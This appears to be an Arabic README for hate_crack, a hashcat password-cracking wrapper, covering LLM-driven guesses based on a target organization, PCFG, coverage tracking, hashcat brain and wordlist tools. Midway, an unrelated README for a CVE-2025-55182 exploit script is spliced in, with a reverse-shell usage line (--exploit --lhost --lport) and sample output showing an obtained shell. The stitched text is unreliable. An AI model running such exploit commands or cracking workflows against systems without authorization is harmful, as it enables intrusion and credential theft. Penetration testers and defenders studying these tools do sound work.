- **`LLM_BACKEND`** — أي خادم متوافق مع OpenAI تتحدث إليه: `ollama` (الافتراضي)، أو `vllm`، أو `openai` لخادم عام. تتحدث كل الواجهات الخلفية نفس واجهة `/v1` chat-completions، لذا يحدد هذا فقط تفصيلتي تشكيل الطلب اللتين تختلفان فيهما: `ollama` يحصل على `options.num_ctx`، و`vllm` يحصل على `chat_template_kwargs={"thinking": false}` — وبدون ذلك يوجّه خادم vLLM الذي يشغّل محلل استدلال الاستجابة المنظمة بأكملها إلى `message.reasoning`، ويترك `message.content` فارغًا، ويكسر تحليل JSON. `openai` لا يرسل أيًّا منهما، لأن `num_ctx` ليس له مكافئ هناك. إنه **لا** يغيّر مصدر إعدادات المضيف أو النموذج أو المهلة أو السياق أو أخذ العينات — تلك هي مفاتيح `OLLAMA_*` أعلاه للثلاثة جميعًا.
- **`LLM_API_KEY`** — بيانات الاعتماد المرسلة إلى الواجهة الخلفية المُهيأة. الافتراضي هو القيمة الحرفية `ollama`، وهي العنصر النائب الذي يتجاهله خادم Ollama نفسه، لذا تبقى طلبات التثبيت الموجود دون تغيير؛ القيمة الفارغة ترجع إلى نفس العنصر النائب لأن OpenAI SDK يرفض `api_key=""`. اضبطه على القيمة الحقيقية إذا كان الخادم يفرض واحدة — خادم vLLM يبدأ بـ `--api-key` يعيد 401 بخلاف ذلك.
- تأكد من تشغيل Ollama وسحب النموذج (`ollama pull qwen3:4b-instruct`) قبل استخدام LLM Attack — لم يعد hate_crack يسحب النماذج المفقودة تلقائيًا.
يقدم الهجوم ثلاثة أوضاع توليد:
1. **Target info** — الشركة / الصناعة / الموقع / الشركة الأم؛ يستمد النموذج المرشحات من تلك التفاصيل.
بعد كتابة اسم الشركة، يسأل hate_crack نفس النموذج المحلي عما يعرفه بالفعل عن تلك المؤسسة ويملأ مسبقًا مطالبات **Industry** و**Location** و**Parent Company** بالإجابات، معروضة بين قوسين: ```
Company name: Acme Rail Services
[!] The values in parentheses below are the local model's GUESSES, not verified OSINT.
Press Enter to accept, or type your own value to override.
Industry (freight rail maintenance):
Location (Omaha, Nebraska):
Parent company / acquired by:
اضغط Enter لقبول اقتراح أو اكتب فوقه. هذه القيم هي استرجاع النموذج، وليست OSINT — تعامل معها كنقطة انطلاق، وليس كمعلومات استخباراتية عن العميل. يستخدم البحث خادم Ollama المحلي فقط، لذا لا يغادر اسم العميل المضيف أبدًا؛ ولا توجد أي استدعاءات ويب أو لواجهات برمجة تطبيقات خارجية. إذا لم يتعرف النموذج على المؤسسة (وهي الحالة الشائعة للعملاء الصغار)، فإنه لا يُرجع شيئًا وتحصل على مطالبات فارغة بسيطة: ``` Company name: Acme Rail Services Industry: Location: Parent company / acquired by:
فشل البحث — انتهاء المهلة، أو عدم تشغيل Ollama، أو إجابة فارغة — لا يعيق الهجوم أبدًا؛ بل يتراجع فقط إلى مطالبات فارغة. اضبط `ollamaAutoResearch` على `false` لتخطي البحث تمامًا.
2. **قائمة الكلمات** — اشتق الكلمات الأساسية من قائمة كلمات نموذجية.
3. **كلمات المرور المكسورة** — أعد تغذية النصوص الصريحة التي تم استردادها بالفعل في هذه الجلسة (`<hashfile>.out`) إلى النموذج ليتمكن من استنتاج اصطلاحات كلمات المرور الخاصة بالمنظمة المستهدفة (الكلمات الأساسية، الفصول، السنوات، اللواحق، leetspeak) وتوليد مرشحات *جديدة* بنفس الأسلوب. لا يُدرج هذا الخيار إلا بعد كسر تجزئة واحدة على الأقل؛ ويُحلَّل الملف بأكمله إحصائيًا تمامًا كما في وضع قائمة الكلمات (انظر `ollamaMaxSampleLines` أعلاه).
#### إعداد PCFG
يستخدم هجوم PCFG (الخيار 20) وهجوم PRINCE-LING (الخيار 21) الوحدة الفرعية `pcfg_cracker`. قم بإعدادهما في `config.json`:```json
{
"pcfgRuleset": "DEFAULT",
"pcfgMaxCandidates": 50000000,
"pcfgPrinceLingMaxCandidates": 10000000
}
pcfgRuleset— اسم القواعد النحوية المدرَّبة المراد استخدامها (الافتراضي:DEFAULT)، ويُحل إلىpcfg_cracker/Rules/<name>/. درِّب قواعدك الخاصة باستخدامtrainer.pyمن pcfg_cracker واضبط هذا على اسم مجموعة القواعد.pcfgMaxCandidates— الحد الأقصى للمرشحين الذين يُصدرهمpcfg_guesser.pyلهجوم PCFG (الافتراضي:50000000).pcfgPrinceLingMaxCandidates— الحد الأقصى لكلمات الأساس التي يكتبهاprince_ling.pyفي قائمة كلمات PRINCE الأساسية المخزَّنة مؤقتًا (الافتراضي:10000000).
النوى المحسَّنة (optimizedKernelAttacks)
تختار علامة -O في hashcat النوى المحسَّنة، وهي أسرع بكثير
لكنها تحدّ من طول المرشح (نحو 31 حرفًا، وأقل لبعض الأنماط) وتتخطى
بصمت أي شيء أطول. يسرد optimizedKernelAttacks في config.json الهجمات
التي تعمل مع -O؛ احذف هجومًا من القائمة لتشغيله بنوى كاملة الطول.
القائمة في config.json.example تطابق الافتراضي المدمج الذي يُطبَّق
عند عدم وجود config.json.
أربع هجمات تحترم الإعداد لكنها ليست محسَّنة افتراضيًا، لأنها
تغذّي مرشحين قد يتجاوزون سقف -O — أضفها إلى القائمة للاشتراك:
hcatNgramX،hcatOllama،hcatOmen،hcatLMtoNT
لإيقاف -O في كل مكان لتشغيل واحد دون تعديل الإعداد، مرِّر
--no-optimized-kernel (الصيغة المختصرة --no-optimize). فهو يتجاوز القائمة
لكل هجوم ويزيل أيضًا -O مكتوبًا في hcatTuning، والذي قد
يصل إلى hashcat بخلاف ذلك بغض النظر عن القائمة.
تتم مطابقة الأسماء بدقة، ويُبلَّغ عن أي إدخال غير معروف عند بدء التشغيل
بدلًا من تجاهله. لاحظ أن الهجمات التي تفوّض إلى هجوم آخر
تتحكم بها الهجمة التي تفوّض إليها، وليس باسمها الخاص: PRINCE-LING
يتبع hcatPrince، بينما Spoonman وRosetta وأنماط قواعد أنماط LLM
تتبع hcatQuickDictionary.
تتبع تغطية الهجمات (coverage_enabled)
عبر مهمة طويلة، يتعرض ملف التجزئة نفسه للهجوم في جلسات عديدة مع مجموعة متغيرة من قوائم الكلمات وملفات القواعد وقوائم الأقنعة، ومن السهل إهدار ساعات في إعادة تشغيل ما غطّيته بالفعل — خاصةً أن سطر القاعدة نفسه يوجد في أكثر من ملف قواعد. يسجّل hate_crack ما شغّله بالفعل ضد كل ملف تجزئة ويعرض تخطي التداخل.
تُسجَّل التغطية لكل إدخال، وليس لكل ملف: أسطر القواعد الفردية
وأسطر .hcmask الفردية، كل منها مقترن بقائمة الكلمات التي شُغِّل ضدها. هذا
ما يتيح له التعرف على أن ملف قواعد مخصصًا تشغّله اليوم يكرر 40 من
القواعد التي غطّاها best64.rule الأسبوع الماضي، وهو أيضًا سبب اعتبار قاعدة
"مغطاة" فقط لقائمة الكلمات المحددة التي جُرِّبت معها — فالقواعد نفسها فوق
مجموعة نصوص مختلفة تجرّب مرشحين مختلفين تمامًا.
يُعرَّف ملف التجزئة بواسطة sha256 لمحتوياته، لذا تبقى التغطية بعد إعادة تسميته أو نقله بين الجلسات. وتُعرَّف قوائم الكلمات بالطريقة نفسها، مع تخزين البصمة مؤقتًا مقابل الحجم ووقت التعديل بحيث تُجزَّأ مجموعة نصوص بحجم عدة غيغابايت مرة واحدة بدلًا من كل هجوم.
لا يُطلب منك الإدخال إلا عندما يكون هناك فعلًا شيء يمكن تخطيه:``` [*] Coverage: 40 of 45 rules in this Dictionary have already been run against this hash file. [?] Skip them and run only the 5 new rules? [Y/n]:
أجب بـ `Y` وسيبني hate_crack ملف قواعد مؤقتًا يحتوي فقط على المدخلات غير المُجرَّبة؛ أجب بـ `n` لتشغيل كل شيء على أي حال. إذا كانت *كل* المدخلات مكررة، يُسألك عما إذا كنت تريد تخطي الهجوم كليًا، لذا فإن إعادة تشغيل أرضية مغطاة عمدًا لا تتطلب أبدًا إعادة تشغيل الأداة.
الهجمات التي لا تُفلتر أبدًا لا تزال تُسجَّل على أنها نُفِّذت، وهذا ما يتيح لك الإجابة على سؤال "هل شغّلت PRINCE بالفعل ضد هذا الهدف؟".
الهجوم الذي يختار عدة ملفات قواعد دفعة واحدة (Quick Crack، Loopback) يطرح سؤال التخطي **مرة واحدة للدفعة بأكملها، مقدمًا**، قبل أي استدعاء لـ hashcat. هذا السؤال رخيص عمدًا — فهو لا يقرأ أو يحسب تجزئة أي من ملفات القواعد المختارة، لأن دفعة YOLO قد تصل إلى ملايين الأسطر ولا ينبغي أن تنتظر خلال ذلك للإجابة بنعم/لا. إنه يسأل المخزن فقط عما إذا كان هذا الهجوم قد نُفِّذ بالفعل ضد ملف التجزئة هذا **مع إحدى قوائم الكلمات هذه**؛ لا يزال الفرق لكل مدخل يحدث بشكل كسول، ملف قواعد واحد في كل مرة، ويقرر ما الذي يُتخطى فعليًا. لذا لا تُعلَّم مجموعة جديدة أبدًا، حتى عندما تكون القواعد عليها قد نُفِّذت جميعها ضد مجموعة مختلفة.
ثلاثة حدود مقصودة:
- **تُسجَّل التغطية فقط عندما يستنفد hashcat فضاء المفاتيح** (exit 1). ctrl-C أو خطأ لا يسجّل شيئًا، وكذلك لا يفعل exit 0 — فهذا يعني أن كل التجزئات قد كُسرت، وهو ما يبلغ عنه hashcat *دون* إكمال فضاء المفاتيح، وفي الحالة الشاذة "كل التجزئات موجودة كمدخلات في potfile" دون تجربة مرشح واحد. التسجيل الناقص لا يكلف سوى تشغيل زائد لاحقًا.
- **مولّدات المرشحين الديناميكية لا تُفلتر أبدًا.** PRINCE وPCFG وOMEN والقوة الغاشمة Markov وأوضاع LLM ليس لديها مجموعة ثابتة لإجراء فرق عليها، لذا تُسجَّل على أنها نُفِّذت وتُترك بخلاف ذلك. تُتتبَّع ملفات القواعد المتسلسلة (`-r a -r b`) كوحدة واحدة بدلًا من كل مدخل، لأن hashcat يطبّق *الجداء الديكارتي* للملفين وإسقاط سطر فردي سيزيل بصمت كل تركيبة شارك فيها.
- **تشغيلات `--loopback` تُسجَّل لكن لا تُفلتر أبدًا.** يغذّي hashcat النصوص الصريحة المكسورة حديثًا كمرشحين *إضافيين*، لذا فإن مثل هذا التشغيل يجرّب قائمة الكلمات الكاملة ومجموعة القواعد بالإضافة إلى كل ما تصل إليه تلك النصوص الصريحة المُعاد تدويرها. هذا يجعل الاتجاهين غير متماثلين: تسجيله سليم، لذا يُتعرَّف لاحقًا على تشغيل عادي لنفس قائمة الكلمات والقواعد بشكل صحيح كتكرار، لكن تشغيل loopback ثانٍ لديه المزيد من الكسور لإعادة تدويرها ولا يُتخطى أبدًا.
اضبط `coverage_enabled` على `false` في `config.json` لإيقاف هذا، أو مرّر `--no-coverage` لتشغيل واحد — وهو لا يستشير المخزن ولا يحدّثه.
#### فحص التغطية وإعادة تعيينها
خيار القائمة الرئيسية **85 — Attack Coverage** يُظهر ما نُفِّذ ضد ملف التجزئة المحمّل، وسجل تشغيله، ويمكنه مسحه. الإجراءات الثلاثة نفسها قابلة للبرمجة النصية:```bash
# What has already been run against this hash file?
hate_crack coverage status --hashfile hashes.txt
# Every attack that has run against it, oldest first
hate_crack coverage history --hashfile hashes.txt
# Start over for this hash file only (prompts unless --yes)
hate_crack coverage forget --hashfile hashes.txt --yes
يتم تعريف ملف التجزئة بواسطة المحتوى، لذا تعمل هذه بغض النظر عن المكان الذي تم نقلها إليه منذ ذلك الحين. يؤثر forget على هذا الهدف الواحد فقط — يقع المخزن في ~/.hate_crack/coverage/attack_coverage.sqlite3، وحذف الملف يعيد تعيين التغطية لـكل هدف.
التشغيلات النصية
هجوم نصي تتخطاه التغطية بالكامل لا يزال يخرج بـ 0 افتراضيًا، لذا فإن تمكين التغطية لا يمكن أن يبدأ في إفشال أداة اختبار موجودة. مرر --exit-code-on-skip للحصول على رمز الخروج 3 بدلاً من ذلك عندما لم يتم تشغيل أي شيء:```bash
hate_crack --exit-code-on-skip hashes.txt dict
0 = ran, 1 = bad input, 2 = unknown command, 3 = everything was already covered
الخروج بـ 3 يعني أن *لا شيء* قد عمل. التمريرة التي تمت تصفيتها جزئيًا — بعض المدخلات تم تخطيها، وبعضها تمت تجربته — لا تزال تُرجع `0`، لأن الهجوم قد أنجز عملًا بالفعل.
### دعم hashcat brain (`brain_enabled`)
يأتي hashcat نفسه مزودًا بـ "brain" — خادم صغير تقوم نسخة hashcat قيد التشغيل ببث كلمات المرور المرشحة إليه، بحيث يمكن لتمريرة ثانية ضد نفس الهدف تخطي المرشحات التي جربتها التمريرة الأولى بالفعل. يقوم hate_crack بتفعيله تلقائيًا، دون الحاجة إلى خطوة قائمة: فكلما كان على وشك إطلاق هجوم ضد وضع hashcat يبلغ عنه كبطيء (bcrypt وscrypt وأوضاع أخرى مدعومة بـ KDF، حيث يكون التجزئة نفسها هي عنق الزجاجة بدلًا من توليد المرشحات)، فإنه يبدأ أو يعيد استخدام خادم brain محلي ويضيف أعلام `--brain-*` إلى استدعاء hashcat نيابة عنك. يُترك الوضع السريع دون تدخل، إلا إذا كان رقم وضعه مدرجًا في `brain_modes_force`، والوضع المدرج في `brain_modes_exclude` لا يُفعّل brain أبدًا بغض النظر عن حكم hashcat نفسه — الاستبعاد يفوز دائمًا.
**Brain ليس نفس الشيء الذي تغطيه الهجوم، والاثنان متكاملان وليسا متكررين.** التغطية (أعلاه) تزيل التكرار على مستوى القواعد الكاملة وسطور الأقنعة وقوائم الكلمات — فهي تقرر ما يجب إطلاقه في المقام الأول، قبل أن يعمل hashcat أصلًا. أما Brain فيزيل التكرار على مستوى كلمات المرور المرشحة الفردية، ويفعل ذلك عبر خادم دائم يعيش أطول من أي استدعاء hashcat واحد، لذا يلتقط التداخل الذي لا تستطيع التغطية رؤيته: مرشح يمكن الوصول إليه عبر قاعدتين مختلفتين أو قائمتي كلمات مختلفتين خلال نفس التمريرة، و — كما يوضح اختبار الذهاب والإياب في `tests/e2e/test_brain_e2e.py` — نفس المرشحات المُعاد إرسالها في تمريرة hashcat ثانية منفصلة ضد نفس الهدف. يمكن تفعيل كليهما في وقت واحد دون تعارض.
سبعة مفاتيح في `config.json` تتحكم فيه، جميعها تحت البادئة `brain_*`: `brain_enabled` (المفتاح الرئيسي، مفعّل افتراضيًا)، `brain_host` (فارغ يعني أن hate_crack يدير خادمًا محليًا على loopback؛ وجود قيمة يعني الاتصال بذلك المضيف فقط — لا يقوم hate_crack أبدًا بإنشاء خادم لم يُطلب منه إدارته)، `brain_port` (افتراضيًا `6863`)، `brain_client_features` (`1` كلمات مرور مجزأة، `2` مواضع الهجوم، `3` كلاهما — `3` يزيل أكبر قدر من التكرار لكنه يكلف الخادم حوالي 12 بايت من الذاكرة لكل مرشح يُرى)، `brain_server_timer` (إعداد hashcat نفسه لعدد المرات التي يكتب فيها الخادم تفريغ `.ldmp`/`.admp` على القرص، بحد أدنى 60 ثانية، افتراضيًا `300`)، و `brain_modes_force` / `brain_modes_exclude` (أرقام أوضاع hashcat مفصولة بفواصل تتجاوز حكم hashcat نفسه بالبطء/السرعة، مع أولوية للاستبعاد).
**الخادم المُنشأ تلقائيًا ليس لديه مهلة خمول على الإطلاق.** لا يتحكم `brain_server_timer` في مدة بقائه — لا شيء يفعل ذلك؛ فهو يعمل طوال عمر العملية التي أنشأته (أو حتى يوقفه `shutdown()`/`atexit`) ويُعاد استخدامه عبر كل هجوم في الجلسة. عند القيمة الافتراضية `300`، يعني ذلك كتابة تفريغ إلى `~/.hate_crack/brain/` كل خمس دقائق طالما كان hate_crack قيد التشغيل.
المفتاح الثامن، `BRAIN_PASSWORD`، يوجد في `.env` بدلًا من `config.json` لأنه سر مشترك، وليس لأن brain تكامل طرف ثالث — فهو يُستخدم فقط عند الاتصال بخادم brain بعيد تديره أنت بالفعل؛ الخادم المحلي المُنشأ تلقائيًا يولّد كلمة مرور عشوائية خاصة به لكل جلسة ولا يحتاج إلى إعداد.
**كلمة مرور brain مرئية لـ `ps` طوال عمر تشغيل hashcat،** لأن hashcat لا يقبلها إلا كوسيط سطر أوامر — لا يوجد شكل متغير بيئة. بالنسبة للخادم المحلي المُنشأ تلقائيًا، هذه نافذة صغيرة: كلمة المرور عشوائية ومحصورة بتلك الجلسة الواحدة، لذا يمكن لمستخدم محلي آخر رؤيتها فقط أثناء تشغيل الهجوم فعليًا، وتصبح عديمة الفائدة بمجرد انتهاء الجلسة. كلمة مرور خادم brain البعيد المشترك ليس لديها مثل هذا التخفيف — فهي نفس القيمة في كل استدعاء، ومرئية لأي مستخدم محلي آخر على الجهاز طالما كان أي تشغيل لـ hate_crack ضد ذلك الخادم قيد التقدم. تعامل معها وفقًا لذلك على الأجهزة المشتركة أو متعددة المستأجرين.
مرّر `--no-brain` لتعطيل brain لتمريرة واحدة بغض النظر عن `brain_enabled`، أو اضبط `brain_enabled` على `false` في `config.json` لإيقافه في كل مكان.
**يحتفظ Brain بحالته في `~/.hate_crack/brain/`** — ذاكرة تخزين مؤقت صغيرة `slow_modes.json` لحكم hashcat نفسه بالبطء/السرعة لكل إصدار hashcat، بالإضافة إلى، بالنسبة للخادم المُنشأ تلقائيًا، ملفات تفريغ `.ldmp`/`.admp` الخاصة به. تلك التفريغات هي مواد مستمدة من المرشحات: فهي تتيح لخادم جديد الاستئناف وهو يعرف ما تمت تجربته بالفعل ضد هدف، وهو ما يعني في مهمة ما تراكم بيانات مستمدة من العميل في الدليل الرئيسي للمشغل طالما عمل brain هناك يومًا ما. كما هو الحال مع مخزن التغطية أعلاه، فإن حذف الدليل يعيد ضبط brain — يتوقف تذكر مرشح مرفوض سابقًا، على حساب فقدان إزالة التكرار التي كان يمثلها ذلك التفريغ. إذا بدا أن brain يتخطى عملًا لا ينبغي له تخطيه (تفريغ قديم من تشغيل سابق بنطاق مختلف)، فهذا هو الحل.
**حذف `~/.hate_crack/brain/` لا يمسح خادمًا يتيمًا.** يعمل الخادم المُنشأ تلقائيًا في جلسته الخاصة (`start_new_session=True`) لذا ينجو من إغلاق الطرفية أو SIGHUP — فقط إنهاء صريح، أو خروج العملية التي أنشأته بشكل نظيف وتشغيل معالج `atexit` الخاص بها، يوقفه. يظل اليتيم محتفظًا بمنفذ loopback. مع `BRAIN_PASSWORD` الفارغ الافتراضي، ستلاحظه كـ `"[!] ... no brain server could be reached; running without candidate de-duplication"` في كل هجوم وضع بطيء: كانت كلمة مرور اليتيم مؤقتة وماتت مع العملية التي ولّدتها، لذا يرفض hate_crack تبني المنفذ الذي يجلس عليه بدلًا من تخمين كلمة مرور لا يمكن التحقق منها. اعثر عليه وأوقفه باستخدام:```bash
pgrep -f 'hashcat --brain-server'
kill <pid>
بعد ذلك يبدأ الهجوم التالي خادمًا جديدًا كالمعتاد.
الإشعارات (خيار القائمة 82)
يمكن لـ hate_crack إرسال إشعارات Pushover الفورية عند اكتمال الهجمات، واختياريًا، عند كسر تجزئات فردية. توجد جميع عناصر التحكم تحت خيار القائمة الرئيسية 82 — Notifications:
- Toggle Pushover Notifications [ON/OFF] — المفتاح الرئيسي. يُحفظ في
config.jsonباسمnotify_enabled. - Toggle Per-Crack Notifications [ON/OFF] — عند تفعيله، يراقب متتبع خلفي ملف
.outويرسل إشعارًا لكل عملية كسر (مع تجميع الدفعات لكل نبضة). يُحفظ فيconfig.jsonباسمnotify_per_crack_enabled. لا يمكن تفعيله بينما المفتاح الرئيسي معطّل — فعّل الخيار 1 أولاً. - Send Test Pushover Notification — يرسل إشعارًا تجريبيًا جاهزًا لتتمكن من تأكيد عمل زوج رمز/مستخدم Pushover الخاص بك. يعمل حتى عندما يكون المفتاح الرئيسي معطّلًا.
توجد بيانات الاعتماد في .env؛ أما مقابض الضبط المتبقية فهي في ملف الإعدادات فقط في config.json:
NOTIFY_PUSHOVER_TOKEN،NOTIFY_PUSHOVER_USER(في.env) — مطلوبان لإرسال أي إشعار. لا شيء في القائمة يكتب هذين؛ حرّر.envبنفسك.notify_attack_allowlist— أسماء الهجمات التي توافق تلقائيًا دون مطالبة[y/N/always]. تُملأ تلقائيًا عند إجابتك بـalways.notify_suppress_in_orchestrators(الافتراضيtrue) — يكتم الهجمات الفردية المتسلسلة بواسطة Extensive Crack، والذي يرسل ملخصًا واحدًا بدلاً منها. اضبطه علىfalseللحصول على إشعار لكل هجوم متسلسل. مدخلات القائمة الأخرى التي تشغّل عدة مرات (على سبيل المثال Quick Crack مع سلاسل قواعد متعددة) ليست منسّقات وترسل إشعارًا دائمًا لكل مرور.notify_max_cracks_per_burst(الافتراضي5)،notify_poll_interval_seconds(الافتراضي5.0) — ضبط متتبع الكسر الفردي. راجعhate_crack/notify/tailer.pyلمنطق تجميع الدفعات.
أدوات قوائم الكلمات (خيار القائمة 80)
توفّر القائمة الفرعية لأدوات قوائم الكلمات أدوات معالجة مسبقة لقوائم الكلمات مدعومة بثنائيات hashcat-utils، بالإضافة إلى تنزيلات قوائم الكلمات من Hashmob.net وWeakpass. يمكن الوصول إليها عبر الخيار 80 في القائمة الرئيسية.
| الخيار | الثنائي | ما يفعله |
|---|---|---|
| 1 | len.bin | التصفية حسب الطول - الاحتفاظ فقط بالكلمات بين حد أدنى وحد أقصى للطول |
| 2 | req-include.bin | اشتراط فئات الأحرف - الاحتفاظ فقط بالكلمات التي تحتوي على جميع أنواع الأحرف المطلوبة |
| 3 | req-exclude.bin | استبعاد فئات الأحرف - إزالة الكلمات التي تحتوي على أي نوع حرف مستبعد |
| 4 | cutb.bin | استخراج سلسلة فرعية - قطع نطاق بايت من كل كلمة |
| 5 | splitlen.bin | التقسيم حسب الطول - إنشاء ملفات منفصلة لكل طول كلمة (ملفات مسماة 01-64 في دليل الإخراج) |
| 6 | rli.bin / rli2.bin | طرح الكلمات - إزالة المدخلات التي تظهر في ملف واحد أو أكثر من الملفات الأخرى |
| 7 | gate.bin | التجزئة - استخراج كل كلمة رقم N-th للتكسير الموزع عبر أجهزة متعددة |
| 8 | - | تحسين قوائم الكلمات - إزالة التكرار والتقسيم إلى ملفات لكل طول تحت دليل قوائم الكلمات المحسّنة |
| 9 | - | تنزيل قوائم الكلمات من Hashmob.net |
| 10 | - | تنزيل قوائم الكلمات من Weakpass (عبر BitTorrent) |
بتات قناع فئة الأحرف (المستخدمة بواسطة الخيارين 2 و3): 1=أحرف صغيرة، 2=أحرف كبيرة، 4=أرقام، 8=رموز، 16=أخرى. اجمع القيم معًا: 7 = أحرف صغيرة+كبيرة+أرقام.
كيف يُقصد استخدام التجزئة: تقسّم التجزئة قائمة كلمات واحدة إلى N جزءًا متساويًا غير متداخل بحيث يمكن توزيع العمل عبر أجهزة أو وحدات معالجة رسومات متعددة. كل جزء متشابك (كل سطر رقم N-th)، لذا كل جزء هو عينة تمثيلية للقائمة بأكملها بدلاً من كتلة متجاورة أمامية/خلفية — فلا تعلق أي عقدة في كسر الذيل منخفض الاحتمال فقط.
شغّل الخيار 7 مرة واحدة، وأعطه قائمة كلمات إدخال، ومسار أساس إخراج، وعدد أجزاء (N). يكتب جميع الأجزاء N في مرور واحد، مسماة بأرقام أجزاء مبطنة بالأصفار (base.001، base.002، … حتى base.00N). انسخ جزءًا واحدًا إلى كل عقدة ووجّه تشغيل hashcat لتلك العقدة إليه. على نظام بوحدة معالجة رسومات واحدة لا تمنح التجزئة أي تسريع، لكن الجزء الواحد يظل عينة سريعة وتمثيلية لمرور فرز سريع قبل الالتزام بالقائمة الكاملة.
فحوصات التحديث التلقائية
يمكن لـ hate_crack التحقق تلقائيًا من GitHub بحثًا عن إصدارات أحدث عند بدء التشغيل. تتحكم في هذه الميزة خيار الإعدادات check_for_updates:```json
{
"check_for_updates": true
}
- **`check_for_updates`** — تفعيل فحوصات الإصدار التلقائية عند بدء التشغيل (الافتراضي: `true`).
- عند التفعيل، يقوم hate_crack بجلب معلومات أحدث إصدار من GitHub ويعرض إشعارًا إذا كان هناك تحديث متاح.
- يعمل الفحص بشكل غير متزامن ولا يعيق بدء التشغيل. يتم تجاهل أخطاء الشبكة بصمت.
##### قنوات التحديث
| القناة | العلامة | المصدر | ما تحصل عليه |
|---------|------|--------|--------------|
| Release | `--update` | `main` | أحدث إصدار صادر. هذا هو الافتراضي وما يقدمه فحص بدء التشغيل. |
| Nightly | `--nightly` | `nightly-dev` | العمل الذي اجتاز CI ولكن لم يتم إصداره بعد. |
تتبع الإصدارات semver العادي، مع اشتقاق الزيادة مما هو موجود فعليًا في
الدفعة. يتحرك المكوّن الثاني **للميزات فقط**: الدورة التي تحتوي على
أي commit من نوع `feat` تتجه نحو `X.(Y+1).0`، والدورة التي لا تحتوي إلا على إصلاحات
ومستندات ومهام روتينية تتجه نحو `X.Y.(Z+1)`.
تضع `nightly-dev` وسومًا لمرشحات الإصدار للإصدار الذي تتجه إليه الدفعة
— `v2.20.1rc1`، `v2.20.1rc2`، … — ودمجها في `main` يرقّي ذلك
الهدف نفسه إلى إصداره النهائي. المرشحات هي إصدارات أولية حقيقية وفق PEP 440، لذا
تترتب بشكل صحيح عند كلا الطرفين:
2.20.0 < 2.20.1rc1 < 2.20.1rc2 < 2.20.1 < 2.21.0rc1 < 2.21.0
يمكن أن يتغير الهدف في منتصف الدورة: أول `feat` يصل ينقله من
`X.Y.(Z+1)` إلى `X.(Y+1).0`، ويُعاد ترقيم المرشحات للهدف الجديد.
يشير الرقم دائمًا إلى ما ستصدره الدفعة اليوم.
لا تتم زيادة المكوّن الرئيسي تلقائيًا أبدًا — يُحتسب موضوع `!` أو
تذييل `BREAKING CHANGE:` كميزة، لأن الزيادة الرئيسية التلقائية تبعد عن
إصدار منشور لا رجعة فيه بمجرد سطر موضوع خاطئ. الزيادة الرئيسية فعل بشري
صريح: ضع الوسم وادفعه يدويًا.
توجد السياسة في `tools/next_version.py`، مشتركة بين سيري عمل وضع الوسوم
ومُختبرة في `tests/test_next_version.py`.
لا يقدم فحص بدء التشغيل سوى الإصدارات، لأن إصدارات nightly لا تنشر أي
إصدار GitHub على الإطلاق ويفحص الفحص نقطة نهاية "أحدث إصدار" في GitHub — لذا
فإن تفعيل `check_for_updates` لن ينقلك أبدًا إلى nightly. شيئان يبقيان
القناتين منفصلتين الآن: ذلك، وكون المرشح إصدارًا أوليًا حقيقيًا وفق PEP 440،
لذا فإن أداة ترتب أرقام الإصدارات الخام تعتبره أيضًا أقدم من الإصدار الذي يصبح عليه.
كلتا العلامتين تبدّل نسختك المحلية إلى الفرع المقابل أولاً (وترفض
ذلك إذا كانت لديك تغييرات غير مُودعة). إذا كنت تشغّل nightly وتريد العودة
إلى الكود المُصدَر، فإن `--update` يعيدك إلى `main`.
#### الدمج التلقائي للهاشات المكتشفة (تنزيل Left فقط)
عند تنزيل هاشات left (الهاشات غير المكسورة)، يقوم hate_crack تلقائيًا بـ:
1. محاولة تنزيل أي هاشات مكتشفة (مكسورة) من Hashview كعملية مساعدة
2. دمج الهاشات المكتشفة مع ملفات `.out` المحلية (مثل `left_1_123.txt.out` أو `left_1_123.nt.txt.out` لصيغة pwdump)
3. إزالة الإدخالات المكررة
4. تنظيف ملفات التقسيم المؤقتة بعد الدمج
يضمن هذا بقاء نتائج الكسر المحلية متزامنة مع قاعدة البيانات المركزية لـ Hashview عند العمل مع الهاشات غير المكسورة.
**ملاحظة:** خيار تنزيل المكتشفة ينزّل الهاشات المكسورة مسبقًا بشكل منفصل لأغراض مرجعية ولا يقوم بأي دمج أو يطلب الكسر.
يتم الحصول على <hash_type> بتشغيل `hashcat --help`
أمثلة الهاشات: http://hashcat.net/wiki/doku.php?id=example_hashes```
$ hashcat --help |grep -i ntlm
5500 | NetNTLMv1 | Network protocols
5500 | NetNTLMv1 + ESS | Network protocols
5600 | NetNTLMv2 | Network protocols
1000 | NTLM | Operating-Systems
التثبيت
pip install -r requirements.txt
الاستخدام
python3 cve_2025_55182.py --target https://example.com --check
python3 cve_2025_55182.py --target https://example.com --exploit --lhost 10.10.14.5 --lport 4444
الخيارات
| الخيار | الوصف |
|---|---|
--target | عنوان URL الهدف (مطلوب) |
--check | وضع الفحص فقط (بدون استغلال) |
--exploit | محاولة الاستغلال |
--lhost | عنوان IP للاستماع |
--lport | منفذ الاستماع |
--timeout | مهلة الطلب بالثواني (افتراضي: 10) |
--verbose | تمكين الإخراج المفصل |
مثال الإخراج
[*] Target: https://example.com
[*] Checking vulnerability...
[+] Target appears vulnerable to CVE-2025-55182
[*] Sending exploit payload...
[+] Shell obtained: uid=33(www-data) gid=33(www-data) groups=33(www-data)
إخلاء المسؤولية
هذه الأداة مخصصة لأغراض اختبار الاختراق الأخلاقي والبحث الأمني فقط. يجب استخدامها فقط ضد الأنظمة التي تملك إذنًا صريحًا باختبارها. الاستخدام غير المصرح به غير قانوني وقد يؤدي إلى عواقب جنائية.``` $ ./hate_crack.py 1000
/ | _____ / | ____ _ ___ ____________ ____ | | __
/ ~ __ \ / __ \ / \ /_ __ _ \ / | |/ /
\ Y // __ | | \ / \ _| | // __ \ _| <
___| /(__ /| _ >______ /|__| ( /___ >|_
/ / /___/ / / / /
Version 2.0
-------------------------------------------------------------------
## الاختبار
مجموعة الاختبارات تعمل في الغالب دون اتصال وتستخدم mocks/fixtures. فحوصات الشبكة الحية
وفحوصات تبعيات النظام اختيارية عبر متغيرات البيئة.
### تشغيل الاختبارات محليًا```bash
# Run all tests
uv run pytest -v
# Run specific test
uv run pytest tests/test_hashview.py -v
يمكنك أيضًا تشغيل المجموعة الكاملة باستخدام make test.
اختبارات مباشرة (اختيارية)
قم بتعيين أي مما يلي لتمكين الفحوصات المباشرة:
